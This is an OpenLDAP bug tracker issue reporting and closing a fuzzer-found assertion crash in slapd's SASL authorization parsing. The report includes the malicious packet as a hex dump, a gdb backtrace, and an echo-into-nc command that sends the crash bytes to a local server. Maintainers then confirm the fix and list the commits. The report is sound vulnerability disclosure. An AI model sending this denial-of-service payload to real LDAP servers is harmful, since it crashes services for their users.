Issue 9407 - Assertion failure in OpenLDAP: slapd v2.X - saslauthz.c:slap_parse_user:181

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2020-11-27 10:07 UTC by phasip
Modified: 2021-01-18 20:05 UTC (History)
CC List: 0 users

See Also:

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-11-27 10:07:03 UTC** Description

```
A malicious packet can force OpenLDAP to fail an assertion and crash.
slapd: saslauthz.c:181: slap_parse_user: Assertion `mech->bv_val == id->bv_val + 2'
failed.

Packet:
    00000000: 3076 0201 3066 3030 0030 1e30 3030 0100  0v..0f00.0.000..
    00000010: 3030 300b 7361 736c 4175 7468 7a54 6f30  000.saslAuthzTo0
    00000020: 1130 001f 3000 3007 753a 302e 3030 3030  .0..0.0.u:0.0000
    00000030: 0130 3030 3030 3030 3030 3030 3030 3030  .000000000000000
    00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000070: 3030 3030 3030 3030                      00000000

gdb output:
    Reading symbols from /openldap/servers/slapd/fuzzing.debug...
    (gdb) run
    Starting program: /openldap/servers/slapd/fuzzing.debug < minimized_crashB
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc0ce9b daemon_init: ldapi://%2Ftmp%2Fldapi
    5fc0ce9b mdb_db_open: "dc=example,dc=org"
    5fc0ce9b daemon: epoll_ctl(ADD,fd=10) failed, errno=1, shutting down
    5fc0ce9b connection_get(10)
    5fc0ce9b conn=1000 op=0 do_modify: dn ()
    5fc0ce9b conn=1000 op=0 modifications:
    5fc0ce9b    add: saslAuthzTo
    5fc0ce9b           multiple values
    fuzzing.debug: saslauthz.c:181: slap_parse_user: Assertion `mech->bv_val == id-
>bv_val + 2' failed.

    Program received signal SIGABRT, Aborted.
    0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) bt
    #0  0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7dc9859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7dc9729 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #3  0x00007ffff7ddaf36 in __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6
    #4  0x00005555555fb13f in slap_parse_user (id=0x7fffffffb1f0,
user=0x7fffffffb200, realm=0x7fffffffb210, mech=0x7fffffffb220) at saslauthz.c:181
    #5  0x00005555555fc3c5 in authzPrettyNormal (val=0x5555559ab8a0,
normalized=0x7fffffffd380, ctx=0x0, normalize=0) at saslauthz.c:626
    #6  0x00005555555fce73 in authzPretty (syntax=0x555555801640,
val=0x5555559ab8a0, out=0x7fffffffd380, ctx=0x0) at saslauthz.c:897
    #7  0x00005555555ba3bc in ordered_value_pretty (ad=0x555555810fb0,
val=0x5555559ab8a0, out=0x7fffffffd380, ctx=0x0) at value.c:511
    #8  0x00005555555b3eec in slap_mods_check (op=0x5555559ab4b0,
ml=0x555555aab9b0, text=0x7fffffffe490, textbuf=0x7fffffffd3f0 "saslAuthzTo",
textlen=256, ctx=0x0) at modify.c:574
    #9  0x00005555555b2eb8 in do_modify (op=0x5555559ab4b0, rs=0x7fffffffe470) at
modify.c:165
    #10 0x0000555555591cc0 in connection_operation (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>, arg_v=0x5555559ab4b0) at connection.c:1163
    #11 0x00005555555923e9 in connection_read_thread (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #12 0x000055555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100
    (gdb)

Testing (also works on latest build from source):
```

```
    (Term1) # docker run -it --net=host bitnami/openldap
    (Term2) # echo -e
"\x30\x76\x02\x01\x30\x66\x30\x30\x00\x30\x1e\x30\x30\x30\x01\x00\x30\x30\x30\x0b\x73\x61\x73\x6c\x41\x75\x74\x68\x7a\x54\x6f\x30\x11\x30\
| nc localhost 1389

Bugfix:
    Return with error instead
```

Howard Chu **2020-11-27 14:40:07 UTC** Comment 1

(In reply to phasip from comment #0)
> A malicious packet can force OpenLDAP to fail an assertion and crash.
> slapd: saslauthz.c:181: slap_parse_user: Assertion `mech->bv_val ==
> id->bv_val + 2' failed.

> Bugfix:
>   Return with error instead

Thanks for the report, fixed now in git master along with #9406.

No need to file separate reports for essentially the same problem in the same source file.

Quanah Gibson-Mount **2020-12-02 21:54:40 UTC** Comment 2

trunk:

Commits:
  • fa0f9754
by Howard Chu at 2020-11-27T14:37:10+00:00
ITS#9406, #9407 remove saslauthz asserts

RE24:

  • 6ed057b5
by Howard Chu at 2020-12-02T21:33:02+00:00
ITS#9406, #9407 remove saslauthz asserts

Format For Printing - XML - Clone This Issue - Top of page